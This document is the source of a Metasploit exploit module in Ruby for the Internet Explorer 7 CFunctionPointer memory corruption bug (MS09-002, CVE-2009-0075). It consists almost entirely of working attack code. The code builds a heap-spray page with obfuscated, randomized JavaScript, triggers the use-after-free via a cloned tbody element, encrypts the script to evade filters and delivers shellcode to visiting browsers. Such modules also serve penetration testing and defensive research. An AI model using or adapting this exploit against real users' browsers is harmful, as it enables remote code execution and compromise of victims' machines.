Microsoft Internet Explorer 7 – CFunctionPointer Uninitialized Memory Corruption (MS09-002) (Metasploit)
## # $Id: ms09_002_memory_corruption.rb 9787 2010-07-12 02:51:50Z egypt $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking # # Superceded by ms10_018_ie_behaviors, disable for BrowserAutopwn # #include Msf::Exploit::Remote::BrowserAutopwn #autopwn_info({ # :ua_name => HttpClients::IE, # :ua_minver => "7.0", # :ua_maxver => "7.0", # :javascript => true, # :os_name => OperatingSystems::WINDOWS, # :vuln_test => nil, # no way to test without just trying it #}) include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Internet Explorer 7 CFunctionPointer Uninitialized Memory Corruption', 'Description' => %q{ This module exploits an error related to the CFunctionPointer function when attempting to access uninitialized memory. A remote attacker could exploit this vulnerability to corrupt memory and execute arbitrary code on the system with the privileges of the victim. }, 'License' => MSF_LICENSE, 'Author' => [ 'dean [at] zerodaysolutions [dot] com' ], 'Version' => '$Revision: 9787 $', 'References' => [ [ 'CVE', '2009-0075' ], [ 'OSVDB', '51839' ], [ 'MSB', 'MS09-002' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP2-SP3 / Windows Vista SP0 / IE 7', { 'Ret' => 0x0C0C0C0C } ] ], 'DisclosureDate' => 'Feb 17 2008', 'DefaultTarget' => 0)) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) if (!request.uri.match(/\?\w+/)) send_local_redirect(cli, "?#{@javascript_encode_key}") return end # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # Encode the shellcode. shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) # Set the return. ret = Rex::Text.to_unescape([target.ret].pack('V')) # Randomize the javascript variable names. rand1 = rand_text_alpha(rand(100) + 1) rand2 = rand_text_alpha(rand(100) + 1) rand3 = rand_text_alpha(rand(100) + 1) rand4 = rand_text_alpha(rand(100) + 1) rand5 = rand_text_alpha(rand(100) + 1) rand6 = rand_text_alpha(rand(100) + 1) rand7 = rand_text_alpha(rand(100) + 1) rand8 = rand_text_alpha(rand(100) + 1) rand9 = rand_text_alpha(rand(100) + 1) rand10 = rand_text_alpha(rand(100) + 1) rand11 = rand_text_alpha(rand(100) + 1) rand12 = rand_text_alpha(rand(100) + 1) rand13 = rand_text_alpha(rand(100) + 1) fill = rand_text_alpha(25) js = %Q| var #{rand1} = unescape("#{shellcode}"); var #{rand2} = new Array(); var #{rand3} = 0x100000-(#{rand1}.length*2+0x01020); var #{rand4} = unescape("#{ret}"); while(#{rand4}.length<#{rand3}/2) {#{rand4}+=#{rand4};} var #{rand5} = #{rand4}.substring(0,#{rand3}/2); delete #{rand4}; for(#{rand6}=0;#{rand6}<0xC0;#{rand6}++) {#{rand2}[#{rand6}] = #{rand5} + #{rand1};} CollectGarbage(); var #{rand7} = unescape("#{ret}"+"#{fill}"); var #{rand8} = new Array(); for(var #{rand9}=0;#{rand9}<1000;#{rand9}++) #{rand8}.push(document.createElement("img")); function #{rand10}() { #{rand11} = document.createElement("tbody"); #{rand11}.click; var #{rand12} = #{rand11}.cloneNode(); #{rand11}.clearAttributes(); #{rand11}=null; CollectGarbage(); for(var #{rand13}=0;#{rand13}<#{rand8}.length;#{rand13}++) #{rand8}[#{rand13}].src=#{rand7}; #{rand12}.click; } window.setTimeout("#{rand10}();",800); | js = encrypt_js(js, @javascript_encode_key) content = %Q|<html> <script language="JavaScript"> #{js} </script> </html> | content = Rex::Text.randomize_space(content) print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |